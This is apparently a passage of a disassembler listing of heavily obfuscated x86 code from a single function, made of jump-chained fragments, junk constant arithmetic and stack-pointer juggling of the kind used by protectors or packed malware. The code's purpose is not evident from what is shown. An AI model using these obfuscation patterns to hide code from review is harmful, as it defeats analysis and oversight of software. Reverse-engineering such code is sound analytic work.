		pop	esi
		add	[esp+2Eh+var_2C+2], 72C51B00h
		add	[esp+2Eh+var_2C+2], edi
		push	eax
		mov	eax, 72C51B00h
		sub	[esp+32h+var_2C+2], 64DB0C64h
		jmp	loc_5A52E5
; ---------------------------------------------------------------------------


loc_5A6558:				; CODE XREF: sub_58A891+1762Dj
		push	esi
		mov	esi, 4
		sub	ecx, esi
		pop	esi
		xchg	ecx, [esp+78h+var_7A+2]
		mov	esp, [esp+78h+var_7A+2]
		mov	[esp+78h+var_7A+2], edx
		jmp	loc_59CB0B
; ---------------------------------------------------------------------------


loc_5A656F:				; CODE XREF: sub_58A891+1A117j
		pop	ebx
		neg	edx
		xor	edx, 0B45042A7h
		push	edx
		mov	edx, 2E4A5153h
		add	ebx, edx
		pop	edx
		add	ebx, edx
		push	esi
		jmp	loc_5AF91A
; ---------------------------------------------------------------------------


loc_5A6589:				; CODE XREF: sub_58A891+1893Dj
		add	esp, 2
		mov	dx, bp
		mov	ebp, [esp+0CEh+var_D0+2]
		add	esp, 4
		add	ax, dx
		mov	dx, word ptr [esp+0CAh+var_CC+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5A1C22
; ---------------------------------------------------------------------------


loc_5A65AA:				; CODE XREF: sub_58A891+2504Aj
		add	edx, eax
		add	edx, 275415C1h
		pop	eax
		xor	edx, [esp+0CAh+var_CC+2]
		xor	[esp+0CAh+var_CC+2], edx
		xor	edx, [esp+0CAh+var_CC+2]
		jmp	loc_5AC931
; ---------------------------------------------------------------------------


loc_5A65C1:				; CODE XREF: sub_58A891+21A95j
		xor	esi, 6CA249A5h
		jmp	loc_5A7068
; ---------------------------------------------------------------------------


loc_5A65CC:				; CODE XREF: sub_58A891+2038Fj
		sub	edx, 67C35308h
		sub	edx, 1
		jmp	loc_5B17BE
; ---------------------------------------------------------------------------


loc_5A65DA:				; CODE XREF: sub_58A891+261E3j
		push	eax
		mov	eax, esp
		jmp	loc_5A76D7
; ---------------------------------------------------------------------------


loc_5A65E2:				; CODE XREF: sub_58A891+1F914j
		mov	esi, 58974716h
		shl	esi, 6
		jmp	loc_5ADE1C
; ---------------------------------------------------------------------------


loc_5A65EF:				; CODE XREF: sub_58A891+17AB0j
					; sub_58A891+23256j
		xor	esi, 0F824C57Dh
		sub	ecx, esi
		pop	esi
		xor	ecx, 391A6CECh
		sub	ecx, 25461EA4h
		jmp	loc_5B07D8
; ---------------------------------------------------------------------------


loc_5A6609:				; CODE XREF: sub_58A891:loc_5B08D3j
		inc	bl
		jmp	loc_5A8684
; ---------------------------------------------------------------------------


loc_5A6610:				; CODE XREF: sub_58A891+22F68j
		add	esp, 4
		shl	edx, 4
		jnp	loc_5AF4F2
		dec	edx
		jmp	loc_59E393
; ---------------------------------------------------------------------------


loc_5A6622:				; CODE XREF: sub_58A891+1A282j
		pop	ebp
		add	esp, 4
		add	eax, 4
		jmp	loc_5A2942
; ---------------------------------------------------------------------------


loc_5A6633:				; CODE XREF: sub_58A891+12465j
		mov	esi, [esp+7Eh+var_7E]
		jmp	loc_5B0999
; ---------------------------------------------------------------------------


loc_5A663B:				; CODE XREF: sub_58A891+134B9j
					; sub_58A891+219C4j
		sub	ebx, 2CBEA6ACh
		xor	esi, ebx
		jmp	loc_5B00FF
; ---------------------------------------------------------------------------


loc_5A6648:				; CODE XREF: sub_58A891+1D266j
		pop	ecx
		jmp	loc_5AAA13
; ---------------------------------------------------------------------------


loc_5A664E:				; CODE XREF: sub_58A891+230EBj
		add	ecx, 2C2F3D6Fh
		mov	edx, ecx
		pop	ecx
		mov	ebp, edx
		pop	edx
		xor	ebx, ebp
		pop	ebp
		xor	ebx, 527FCB67h
		add	ebp, ebx
		jmp	loc_5B2E2F
; ---------------------------------------------------------------------------


loc_5A666A:				; CODE XREF: sub_58A891+1B8A4j
		mov	edi, esp
		add	edi, 4
		jmp	loc_5AB70F
; ---------------------------------------------------------------------------


loc_5A6677:				; CODE XREF: sub_58A891+280A4j
		mov	esp, [esp+2+var_4+2]
		mov	ax, word ptr [esp+2+var_4+2]
		push	78A9h
		jmp	loc_5ACDCD
; ---------------------------------------------------------------------------


loc_5A6688:				; CODE XREF: sub_58A891+20EE4j
		or	eax, esi
		pop	esi
		xchg	eax, edx
		add	edx, 0FFFFFFFFh
		jmp	loc_59F80F
; ---------------------------------------------------------------------------


loc_5A6697:				; CODE XREF: sub_58A891+135E4j
		shl	ecx, 6
		xor	ecx, 0B7DFFB84h
		push	ebp
		mov	ebp, 5D95339Ah
		shr	ebp, 4
		add	ebp, 0FFFFFFFFh
		dec	ebp
		push	ecx
		mov	ecx, 1E770939h
		add	ebp, ecx
		pop	ecx
		jmp	loc_5B1F6C
; ---------------------------------------------------------------------------


loc_5A66BE:				; CODE XREF: sub_58A891+155EBj
		sub	eax, 0CD86A570h
		mov	ebx, eax
		push	dword ptr [esp+0]
		pop	eax
		push	eax
		mov	eax, esp
		jmp	loc_5ABC4E
; ---------------------------------------------------------------------------


loc_5A66D1:				; CODE XREF: sub_58A891+179EAj
		mov	esp, [esp+82h+var_82]
		push	[esp+82h+var_82]
		mov	eax, [esp+86h+var_86]
		add	esp, 4
		jmp	loc_59F7DD
; ---------------------------------------------------------------------------


loc_5A66E2:				; CODE XREF: sub_58A891+12FC5j
		mov	[esp+88h+var_8A+2], esi
		jmp	loc_59EF94
; ---------------------------------------------------------------------------


loc_5A66EA:				; CODE XREF: sub_58A891+1A40Cj
		add	esi, 4
		sub	esi, 4
		jmp	loc_5B0A4C
; ---------------------------------------------------------------------------


loc_5A66F8:				; CODE XREF: sub_58A891+24548j
					; sub_58A891+2786Cj
		sub	esi, 7B0AC20h
		sub	eax, esi
		pop	esi
		mov	esi, eax
		jmp	loc_5B108E
; ---------------------------------------------------------------------------


loc_5A6708:				; CODE XREF: sub_58A891+20D51j
					; sub_58A891:loc_5AD465j
		sub	edi, 126F55CDh
		push	ebp
		mov	ebp, 4DD46125h
		push	ebx
		jmp	loc_5AAF31
; ---------------------------------------------------------------------------


loc_5A671A:				; CODE XREF: sub_58A891+125D1j
		pop	ecx
		add	ecx, 4
		jmp	loc_5B1BFB
; ---------------------------------------------------------------------------


loc_5A6726:				; CODE XREF: sub_58A891+21902j
		push	1D67h
		mov	[esp+74h+var_74], eax
		push	[esp+74h+var_70]
		pop	eax
		pop	[esp+74h+var_74]
		pop	esp
		push	edi
		mov	edi, esp
		jmp	loc_5A040D
; ---------------------------------------------------------------------------


loc_5A673F:				; CODE XREF: sub_58A891+1C190j
		push	7463h
		mov	[esp+74h+var_74], edx
		push	2A9h
		mov	[esp+78h+var_7A+2], edi
		mov	edi, 30C25D9h
		push	esi
		mov	esi, 0A697BD8h
		shr	esi, 8
		push	ecx
		jmp	loc_5A43B3
; ---------------------------------------------------------------------------


loc_5A6763:				; CODE XREF: sub_58A891+18891j
		jg	loc_5B2AD0
		jmp	loc_5ACE71
; ---------------------------------------------------------------------------


loc_5A676E:				; CODE XREF: sub_58A891+26956j
		mov	ecx, [esp-12h+arg_8+2]
		add	esp, 4
		jmp	loc_5AF568
; ---------------------------------------------------------------------------


loc_5A6779:				; CODE XREF: sub_58A891+125D7j
		mov	ebx, 3401734Ah
		or	ecx, ebx
		pop	ebx
		shr	ecx, 8
		jmp	loc_5AEF1B
; ---------------------------------------------------------------------------


loc_5A6789:				; CODE XREF: sub_58A891+2350Ej
		pop	ebp
		pop	[esp+70h+var_70]
		pop	esp
		sub	eax, esi
		mov	esi, [esp+68h+var_68]
		add	esp, 4
		push	ecx
		mov	ecx, 0FFFFh
		and	eax, ecx
		push	[esp+68h+var_68]
		pop	ecx
		jmp	loc_5AC39D
; ---------------------------------------------------------------------------


loc_5A67A7:				; CODE XREF: sub_58A891+17C34j
		mov	esi, 277172A5h
		xor	esi, 277172A1h
		add	edi, esi
		pop	esi
		xchg	edi, [esp+80h+var_82+2]
		pop	esp
		add	eax, ebp
		jmp	loc_5AFCE7
; ---------------------------------------------------------------------------


loc_5A67C0:				; CODE XREF: sub_58A891+1AF57j
		xor	edx, 2000004h
		mov	eax, edx
		pop	edx
		jmp	loc_5AD5EE
; ---------------------------------------------------------------------------


loc_5A67CE:				; CODE XREF: sub_58A891+18E84j
		mov	ebx, edx
		pop	edx
		push	edi
		mov	edi, 72A877C8h
		not	edi
		inc	edi
		jmp	loc_5A18C1
; ---------------------------------------------------------------------------


loc_5A67DF:				; CODE XREF: sub_58A891+26E95j
		add	esp, 4
		mov	eax, 0F3F81071h
		add	eax, 2BD03D97h
		add	eax, edi
		sub	eax, 2BD03D97h
		pop	edi
		jmp	loc_59C900
; ---------------------------------------------------------------------------


loc_5A67FC:				; CODE XREF: sub_58A891+1B599j
		sub	esi, edi
		push	edi
		push	esi
		pop	edi
		pop	esi
		pop	esi
		jmp	loc_5AB467
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+86h+var_86]
		push	ebx
		jmp	loc_59D53A
; ---------------------------------------------------------------------------


loc_5A6812:				; CODE XREF: sub_58A891:loc_5A6CE2j
		sub	eax, 527760B7h
		js	loc_59D6AD
		shl	eax, 1
		jp	loc_59CCC6
		dec	eax
		jmp	loc_5AA897
; ---------------------------------------------------------------------------
		add	esp, 4
		jmp	loc_5A6F60
; ---------------------------------------------------------------------------


loc_5A6833:				; CODE XREF: sub_58A891+161A7j
		sub	edi, 4C2822F8h
		shr	edi, 6
		shl	edi, 1
		sub	edi, 44E865Ch
		add	ebx, edi
		pop	edi
		xchg	ebx, [esp+0]
		jmp	loc_59C486
; ---------------------------------------------------------------------------


loc_5A684F:				; CODE XREF: sub_58A891+11860j
					; sub_58A891+1F9A3j
		mov	[esp+2+var_4+2], ebp
		mov	ebp, 4
		add	edx, ebp
		jmp	loc_5AF438
; ---------------------------------------------------------------------------


loc_5A685E:				; CODE XREF: sub_58A891+1D052j
		push	52B0h
		push	esp
		pop	[esp+0Ah+var_C+2]
		jmp	loc_5A0FD5
; ---------------------------------------------------------------------------


loc_5A686C:				; CODE XREF: sub_58A891+1702Bj
		pop	ebx
		add	ebx, 4
		jmp	loc_5B04F4
; ---------------------------------------------------------------------------


loc_5A6878:				; CODE XREF: sub_58A891+1BB67j
		xchg	ebx, esi
		neg	esi
		jmp	loc_59F2B3
; ---------------------------------------------------------------------------


loc_5A6881:				; CODE XREF: sub_58A891+16775j
		shl	eax, 3
		jmp	loc_5AB6C9
; ---------------------------------------------------------------------------


loc_5A6889:				; CODE XREF: sub_58A891+1738Cj
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+22h+var_24+2]
		pop	esp
		push	esi
		mov	esi, 1EA7789Ah
		xor	esi, 0E126A5h
		xor	edx, esi
		pop	esi
		xor	edx, 0D68942AEh
		sub	ebx, 1F077D16h
		jmp	loc_5A0CB8
; ---------------------------------------------------------------------------


loc_5A68B8:				; CODE XREF: sub_58A891+1B467j
		push	edi
		mov	edi, 5EFF3F5Ch
		add	edi, 0A100C0A8h
		add	ebp, edi
		pop	edi
		sub	ebp, 4
		xchg	ebp, [esp+26h+var_28+2]
		pop	esp
		jmp	loc_5A74F8
; ---------------------------------------------------------------------------


loc_5A68D6:				; CODE XREF: sub_58A891+1F273j
		sub	edx, 1
		shr	edx, 6
		inc	edx
		dec	edx
		push	988h
		mov	[esp+26h+var_28+2], ebp
		mov	ebp, 85C8DC57h
		sub	edx, ebp
		push	[esp+26h+var_28+2]
		mov	ebp, [esp+2Ah+var_2C+2]
		add	esp, 4
		add	esp, 4
		and	esi, edx
		pop	edx
		jmp	loc_5A0215
; ---------------------------------------------------------------------------


loc_5A6904:				; CODE XREF: sub_58A891+2528Cj
		pop	esi
		sub	esi, 6986148h
		mov	ebp, [esp+1Ah+var_1C+2]
		jmp	loc_5A4047
; ---------------------------------------------------------------------------


loc_5A6913:				; CODE XREF: sub_58A891+23432j
		add	[esp+1Ah+var_1C+2], 2034160Dh
		jmp	loc_5A2F93
; ---------------------------------------------------------------------------


loc_5A691F:				; CODE XREF: sub_58A891+20995j
		sub	bh, dh
		pop	edx
		pop	eax
		xor	al, bh
		push	[esp+12h+var_14+2]
		pop	ebx
		push	esi
		mov	esi, esp
		push	edx
		jmp	loc_59D62B
; ---------------------------------------------------------------------------


loc_5A6932:				; CODE XREF: sub_58A891+2503Aj
		add	esp, 4
		jmp	loc_5AE49A
; ---------------------------------------------------------------------------


loc_5A693A:				; CODE XREF: sub_58A891+17CE5j
		add	eax, 4
		xchg	eax, [esp+70h+var_70]
		jmp	loc_59FA9E
; ---------------------------------------------------------------------------


loc_5A6945:				; CODE XREF: sub_58A891+25C66j
		mov	[esp+70h+var_70], esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		xor	ebx, [esp+6Ch+var_6C]
		xor	[esp+6Ch+var_6C], ebx
		xor	ebx, [esp+6Ch+var_6C]
		pop	esp
		jmp	loc_5A9086
; ---------------------------------------------------------------------------


loc_5A695F:				; CODE XREF: sub_58A891+1A3C0j
		sub	[esp+2+var_4+2], 7DA24C81h
		pop	edi
		add	edi, 7DA24C81h
		push	7E39h
		jmp	loc_59ECA8
; ---------------------------------------------------------------------------


loc_5A6977:				; CODE XREF: sub_58A891+14D75j
		or	ecx, eax
		pop	eax
		push	4C34h
		jmp	loc_59DB5D
; ---------------------------------------------------------------------------


loc_5A6984:				; CODE XREF: sub_58A891+14509j
					; sub_58A891+20D03j
		push	edx
		push	[esp+64h+var_60]
		jmp	loc_59C273
; ---------------------------------------------------------------------------


loc_5A698E:				; CODE XREF: sub_58A891+1F5E4j
		pop	eax
		sub	esp, 4
		jmp	loc_5B2D18
; ---------------------------------------------------------------------------


loc_5A699A:				; CODE XREF: sub_58A891+135A5j
		add	ecx, ebp
		pop	ebp
		add	ecx, 4
		jmp	loc_5A60CF
; ---------------------------------------------------------------------------


loc_5A69A5:				; CODE XREF: sub_58A891+15A25j
		mov	eax, 1FD353BDh
		xor	edx, eax
		jmp	loc_5AC7A2
; ---------------------------------------------------------------------------


loc_5A69B1:				; CODE XREF: sub_58A891+217A8j
		add	ah, bl
		pop	ebx
		add	bl, ah
		push	[esp+86h+var_86]
		pop	eax
		add	esp, 4
		shr	bl, 2
		xor	bl, 2Ch
		xor	al, bl
		pop	ebx
		push	ax
		push	ebx
		mov	bh, 0Eh
		jmp	loc_5A6A81
; ---------------------------------------------------------------------------


loc_5A69D0:				; CODE XREF: sub_58A891+1BC95j
		add	esp, 4
		mov	[ecx], al
		pop	eax
		pop	ecx
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A69DC:				; CODE XREF: sub_58A891+1460Fj
		push	4
		mov	ecx, [esp+6Eh+var_70+2]
		add	esp, 4
		jmp	loc_5B237E
; ---------------------------------------------------------------------------


loc_5A69EC:				; CODE XREF: sub_58A891+1FF07j
		mov	ebx, [esp+6Ah+var_6C+2]
		add	esp, 4
		push	eax
		push	edx
		push	eax
		mov	al, 66h
		sub	al, 0A0h
		mov	dh, al
		pop	eax
		mov	ah, dh
		pop	edx
		add	bl, ah
		pop	eax
		sub	bl, 45h
		push	cx
		mov	cl, 0B3h
		jmp	loc_5A78ED
; ---------------------------------------------------------------------------


loc_5A6A11:				; CODE XREF: sub_58A891+169E5j
		pop	esp
		or	dh, 0FAh
		jmp	loc_5B10E6
; ---------------------------------------------------------------------------


loc_5A6A1A:				; CODE XREF: sub_58A891+27837j
		pop	edx
		add	esp, 4
		jmp	loc_5A673F
; ---------------------------------------------------------------------------


loc_5A6A26:				; CODE XREF: sub_58A891+1B386j
		push	[esp-12h+arg_8+2]
		jmp	loc_5AF100
; ---------------------------------------------------------------------------


loc_5A6A2E:				; CODE XREF: sub_58A891+17A2Cj
		push	ecx
		mov	cl, 7Bh
		shr	cl, 7
		xor	cl, 63h
		inc	cl
		jmp	loc_5A08D2
; ---------------------------------------------------------------------------


loc_5A6A3E:				; CODE XREF: sub_58A891+2363Cj
		shl	edx, 8
		jmp	loc_5B2319
; ---------------------------------------------------------------------------


loc_5A6A46:				; CODE XREF: sub_58A891+27588j
		xor	eax, 46191A17h
		jmp	loc_5A8FF6
; ---------------------------------------------------------------------------


loc_5A6A50:				; CODE XREF: sub_58A891+12C79j
		push	esi
		jmp	loc_5A8B28
; ---------------------------------------------------------------------------


loc_5A6A56:				; CODE XREF: sub_58A891+16CEFj
		push	esi
		mov	esi, esp
		jmp	loc_5B03FC
; ---------------------------------------------------------------------------


loc_5A6A5E:				; CODE XREF: sub_58A891+1FD54j
		add	edx, 0F46705F8h
		add	edi, edx
		pop	edx
		add	edi, 4
		xchg	edi, [esp+86h+var_86]
		pop	esp
		push	ebx
		mov	ebx, 3E7D7C58h
		sub	ebx, 1852619Ah
		not	ebx
		jmp	loc_5AA070
; ---------------------------------------------------------------------------


loc_5A6A81:				; CODE XREF: sub_58A891+1C13Aj
		or	bh, 0
		jns	loc_5AA789
		push	edx
		mov	dl, 0Ah
		dec	dl
		xor	dl, 21h
		xor	bh, dl
		pop	edx
		mov	ah, 26h
		pop	edx


loc_5A6A98:				; CODE XREF: sub_58A891+178F7j
		add	esp, 4
		push	edx
		push	[esp+80h+var_7E+2]
		pop	edx
		jmp	loc_5B2A16
; ---------------------------------------------------------------------------


loc_5A6AA6:				; CODE XREF: sub_58A891+27B05j
		sub	edx, ebp
		pop	ebp
		and	edx, 0A6B0197h
		push	3A7Bh
		mov	[esp+80h+var_82+2], ebx
		mov	ebx, 6E525698h
		xor	edx, ebx
		pop	ebx
		jmp	loc_5B20D5
; ---------------------------------------------------------------------------


loc_5A6AC4:				; CODE XREF: sub_58A891+27AE8j
		dec	ebx
		jmp	loc_5A9E05
; ---------------------------------------------------------------------------


loc_5A6ACA:				; CODE XREF: sub_58A891+27391j
		push	ebx
		mov	ebx, 4
		jmp	loc_5A4D03
; ---------------------------------------------------------------------------


loc_5A6AD5:				; CODE XREF: sub_58A891+120A0j
		xchg	ecx, [esp+82h+var_82]
		pop	esp
		mov	[esp+7Eh+var_7E], esp
		add	[esp+7Eh+var_7E], 4
		jmp	loc_5AD4EB
; ---------------------------------------------------------------------------


loc_5A6AE8:				; CODE XREF: sub_58A891+145E4j
		mov	esi, [esp+6Eh+var_70+2]
		jmp	loc_5B1F77
; ---------------------------------------------------------------------------


loc_5A6AF0:				; CODE XREF: sub_58A891+2052Fj
		pop	ebx
		sub	edi, 4
		jmp	loc_59CE7E
; ---------------------------------------------------------------------------


loc_5A6AFC:				; CODE XREF: sub_58A891+22A51j
		add	ebp, edi
		pop	edi
		push	ebp
		jmp	loc_5A35B6
; ---------------------------------------------------------------------------


loc_5A6B05:				; CODE XREF: sub_58A891+22339j
		not	esi
		jmp	loc_5AF6F9
; ---------------------------------------------------------------------------
		push	[esp+6Ah+var_6C+2]
		pop	ecx
		push	2620h
		mov	[esp+6Eh+var_70+2], edi
		mov	edi, esp
		jmp	loc_59DA2F
; ---------------------------------------------------------------------------


loc_5A6B1F:				; CODE XREF: sub_58A891+26A3Dj
		sub	eax, 18397DECh
		add	eax, ebp
		jmp	loc_59E767
; ---------------------------------------------------------------------------


loc_5A6B2B:				; CODE XREF: sub_58A891+271CCj
		add	[esp+6Eh+var_6C+2], 7676B40h
		jmp	loc_5A786B
; ---------------------------------------------------------------------------


loc_5A6B38:				; CODE XREF: sub_58A891+2745Bj
		mov	edi, ecx
		jmp	loc_59D50F
; ---------------------------------------------------------------------------


loc_5A6B3F:				; CODE XREF: sub_58A891+1B1B2j
		xor	esi, edi
		jmp	loc_5AABD9
; ---------------------------------------------------------------------------


loc_5A6B46:				; CODE XREF: sub_58A891+1FCD4j
		pop	[esp+8Ah+var_8A]
		mov	esp, [esp+86h+var_86]
		push	small 7748h
		mov	word ptr [esp+88h+var_8A+2], bx
		push	6AC5h
		mov	[esp+8Ch+var_8E+2], eax
		push	ebx
		mov	bl, 0FEh
		jmp	loc_5B209F
; ---------------------------------------------------------------------------


loc_5A6B64:				; CODE XREF: sub_58A891+1DE77j
		xchg	eax, edi
		push	58FAh
		mov	[esp+94h+var_96+2], edi
		xchg	edi, [esp+94h+var_96+2]
		not	edi
		xchg	edi, [esp+94h+var_96+2]
		mov	edi, [esp+94h+var_96+2]
		add	esp, 4
		xchg	eax, edi
		sub	eax, 0BAF2AD72h
		add	edx, eax
		pop	eax
		push	eax
		mov	eax, 4
		sub	edx, eax
		pop	eax
		xchg	edx, [esp+8Ch+var_8E+2]
		mov	esp, [esp+8Ch+var_8E+2]
		mov	[esp+8Ch+var_8E+2], ebp
		jmp	loc_5A003F
; ---------------------------------------------------------------------------


loc_5A6B9B:				; CODE XREF: sub_58A891+27858j
		pop	ebx
		mov	ebx, [esp+88h+var_8A+2]
		add	esp, 4
		jmp	loc_59C196
; ---------------------------------------------------------------------------


loc_5A6BA7:				; CODE XREF: sub_58A891+1780Fj
		mov	ebx, 0F8E82CA7h
		sub	ebx, 1BDA3A82h
		jmp	loc_5A4355
; ---------------------------------------------------------------------------


loc_5A6BB7:				; CODE XREF: sub_58A891+1DFA6j
		push	[esp+88h+var_86+2]
		jmp	loc_5A21AB
; ---------------------------------------------------------------------------


loc_5A6BC0:				; CODE XREF: sub_58A891+1B21Dj
		xor	esi, [esp+3Eh+var_40+2]
		mov	esp, [esp+3Eh+var_40+2]
		sub	esp, 4
		jmp	loc_5A9458
; ---------------------------------------------------------------------------


loc_5A6BCE:				; CODE XREF: sub_58A891+12A78j
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_5B28BF
; ---------------------------------------------------------------------------


loc_5A6BDF:				; CODE XREF: sub_58A891+177A5j
		not	eax
		sub	eax, 74591C31h
		mov	esi, eax
		mov	eax, [esp+2Eh+var_30+2]
		push	eax
		jmp	loc_5A9FBB
; ---------------------------------------------------------------------------


loc_5A6BF1:				; CODE XREF: sub_58A891+1CC24j
		xor	esi, 3A713CE0h
		jmp	loc_5A548A
; ---------------------------------------------------------------------------


loc_5A6BFC:				; CODE XREF: sub_58A891+27061j
		push	esi
		mov	esi, 4
		sub	ebx, esi
		pop	esi
		jmp	loc_5A23AA
; ---------------------------------------------------------------------------


loc_5A6C0A:				; CODE XREF: sub_58A891+1C788j
		xor	ecx, 7FC002DCh
		jmp	loc_5AA726
; ---------------------------------------------------------------------------


loc_5A6C15:				; CODE XREF: sub_58A891:loc_5AA1E6j
		sub	edx, 7E7F5184h
		jz	loc_5B1E08
		add	edx, 3154E6Ch
		shr	edx, 2
		jmp	loc_5AD7D6
; ---------------------------------------------------------------------------


loc_5A6C2F:				; CODE XREF: sub_58A891+185DAj
					; sub_58A891+27B64j
		push	72BAh
		mov	[esp+7Ah+var_7A], ebx
		push	esp
		pop	ebx
		add	ebx, 4
		push	edi
		mov	edi, 4
		sub	ebx, edi
		pop	edi
		xchg	ebx, [esp+7Ah+var_7A]
		mov	esp, [esp+7Ah+var_7A]
		mov	[esp+7Ah+var_7A], esi
		push	ebp
		mov	ebp, 393010FCh
		mov	esi, ebp
		pop	ebp
		mov	ecx, 0C6CFEF28h
		sub	esp, 4
		jmp	loc_5A61AF
; ---------------------------------------------------------------------------


loc_5A6C6A:				; CODE XREF: sub_58A891+201BCj
		mov	[esp+7Eh+var_7E], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xor	esi, [esp+7Eh+var_7E]
		xor	[esp+7Eh+var_7E], esi
		jmp	loc_5A9811
; ---------------------------------------------------------------------------


loc_5A6C86:				; CODE XREF: sub_58A891+13E90j
		sub	esi, 0F7113C51h
		mov	edi, esi
		pop	esi
		push	eax
		mov	eax, 1C412A06h
		or	edi, eax
		jmp	loc_5A9253
; ---------------------------------------------------------------------------


loc_5A6C9C:				; CODE XREF: sub_58A891+13F37j
		xchg	esi, [esp+8Eh+var_8E]
		pop	esp
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		push	ebp
		mov	ebp, 4
		sub	esi, ebp
		pop	ebp
		jmp	loc_5A8476
; ---------------------------------------------------------------------------


loc_5A6CB7:				; CODE XREF: sub_58A891+1EC08j
		shl	edx, 8
		jns	loc_5AA622
		jmp	loc_59CE22
; ---------------------------------------------------------------------------


loc_5A6CC5:				; CODE XREF: sub_58A891+2749Dj
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_5ADC08
; ---------------------------------------------------------------------------


loc_5A6CD8:				; CODE XREF: sub_58A891+1621Fj
		push	38EBh
		jmp	loc_59EE8D
; ---------------------------------------------------------------------------


loc_5A6CE2:				; CODE XREF: sub_58A891+17976j
					; sub_58A891+24D11j
		jl	loc_5A6812
		sub	eax, 527760B7h
		js	loc_59EBE4
		shl	eax, 1
		jp	loc_5AE7B1
		dec	eax
		jo	loc_5AC050
		xor	eax, 1214F217h
		mov	edi, eax


loc_5A6D09:				; CODE XREF: sub_58A891+1A555j
		sub	ebp, ecx
		pop	ecx
		sub	edi, 57AE34B8h
		add	edi, ebp
		add	edi, 57AE34B8h
		push	[esp+7Ah+var_7A]
		pop	ebp
		add	esp, 4
		xchg	edi, [esp+0]
		jmp	loc_5A9861
; ---------------------------------------------------------------------------


loc_5A6D2C:				; CODE XREF: sub_58A891+1CFCAj
		mov	[esp+0], ebp
		mov	ebp, 77D87F0Fh
		push	0
		sub	[esp+7Ah+var_7A], ebp
		mov	ebp, [esp+7Ah+var_7A]
		add	esp, 4
		push	edi
		mov	edi, 755D3010h
		not	edi
		shl	edi, 4
		neg	edi
		shl	edi, 2
		push	ebx
		mov	ebx, 0C7EFFA8Bh
		jmp	loc_5B291E
; ---------------------------------------------------------------------------


loc_5A6D5D:				; CODE XREF: sub_58A891+2482Dj
		sub	ebx, 4AF43EF1h
		jmp	loc_5A05DB
; ---------------------------------------------------------------------------


loc_5A6D68:				; CODE XREF: sub_58A891+19D75j
					; sub_58A891+2704Bj
		xor	ebp, 68092DCDh
		add	ecx, ebp
		pop	ebp
		jmp	loc_5A47E0
; ---------------------------------------------------------------------------


loc_5A6D76:				; CODE XREF: sub_58A891+209FBj
		pop	ebx
		pop	ecx
		xchg	esi, ecx
		push	esi
		not	[esp+12h+var_14+2]
		mov	esi, [esp+12h+var_14+2]
		add	esp, 4
		push	ecx
		push	esi
		pop	ecx
		jmp	loc_5AB272
; ---------------------------------------------------------------------------


loc_5A6D8C:				; CODE XREF: sub_58A891+1D300j
		mov	edi, 40BA3A7Eh
		jmp	loc_5A9004
; ---------------------------------------------------------------------------


loc_5A6D96:				; CODE XREF: sub_58A891+20AF0j
		pop	ebp
		push	3774h
		jmp	loc_5B0FC7
; ---------------------------------------------------------------------------


loc_5A6DA1:				; CODE XREF: sub_58A891+228C5j
		xor	[esp+12h+var_14+2], ecx
		xor	ecx, [esp+12h+var_14+2]
		pop	esp
		imul	ecx
		push	310h
		jmp	loc_59C753
; ---------------------------------------------------------------------------


loc_5A6DB4:				; CODE XREF: sub_58A891+13D47j
		add	ch, 58h
		sub	ah, ch
		pop	ecx
		xor	dh, ah
		mov	eax, [esp+3Ah+var_3C+2]
		add	esp, 4
		add	bh, dh
		mov	edx, [esp+36h+var_38+2]
		jmp	loc_5A8002
; ---------------------------------------------------------------------------


loc_5A6DCC:				; CODE XREF: sub_58A891+24878j
		mov	[esp+36h+var_38+2], edi
		push	ecx
		mov	ecx, 34AC6B83h
		mov	edi, 34AC6B87h
		xor	edi, ecx
		pop	ecx
		add	ebp, edi
		pop	edi
		push	ecx
		mov	ecx, 4
		jmp	loc_5A5906
; ---------------------------------------------------------------------------


loc_5A6DEB:				; CODE XREF: sub_58A891+270CCj
		mov	eax, 0D320B5E5h
		push	ebp
		jmp	loc_5A902C
; ---------------------------------------------------------------------------


loc_5A6DF6:				; CODE XREF: sub_58A891+143F5j
					; sub_58A891+1B1C3j
		mov	eax, 720B2BF1h
		mov	ecx, eax
		pop	eax
		mov	ebx, 0AFD29D8Eh
		sub	ebx, 2A92259Ch
		sub	ebx, ecx
		add	ebx, 2A92259Ch
		mov	ecx, [esp+6Eh+var_70+2]
		add	esp, 4
		push	esi
		mov	esi, 0F7637h
		shr	esi, 5
		add	esi, 2CFD97E3h
		sub	eax, esi
		pop	esi
		sub	eax, ebx
		add	eax, 2CFE1394h
		jmp	loc_59D799
; ---------------------------------------------------------------------------


loc_5A6E35:				; CODE XREF: sub_58A891+205C9j
		dec	edi
		xchg	edi, ebp
		jmp	loc_59C4A7
; ---------------------------------------------------------------------------


loc_5A6E3D:				; CODE XREF: sub_58A891+1853Aj
		sub	ecx, edi
		jmp	loc_5A0DFB
; ---------------------------------------------------------------------------


loc_5A6E44:				; CODE XREF: sub_58A891+1B318j
		mov	[esp+36h+var_38+2], edi
		mov	edi, 735778FDh
		jmp	loc_5A72C8
; ---------------------------------------------------------------------------
		lodsd
		push	esi
		push	edx
		push	61DEh
		mov	[esp], edi
		mov	edi, 687086h
		dec	edi
		push	ebx
		mov	ebx, 17B254Bh
		add	edi, 5F5143B7h
		sub	edi, ebx
		push	ebp
		mov	ebp, 7BD2603Ah
		jmp	loc_5AE886
; ---------------------------------------------------------------------------


loc_5A6E7B:				; CODE XREF: sub_58A891+20572j
		push	eax
		push	esp
		mov	eax, [esp+52h+var_54+2]
		push	4337h
		mov	[esp+56h+var_58+2], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp+56h+var_58+2]
		xor	[esp+56h+var_58+2], ecx
		xor	ecx, [esp+56h+var_58+2]
		mov	esp, [esp+56h+var_58+2]
		add	eax, 4
		add	eax, 4
		push	4B39h
		mov	[esp+5Ah+var_5C+2], eax
		jmp	loc_5AB6A5
; ---------------------------------------------------------------------------


loc_5A6EB4:				; CODE XREF: sub_58A891+269D3j
		shl	ch, 3
		js	loc_5AE56F
		jmp	loc_5A9C25
; ---------------------------------------------------------------------------
		pop	edx
		add	esp, 4
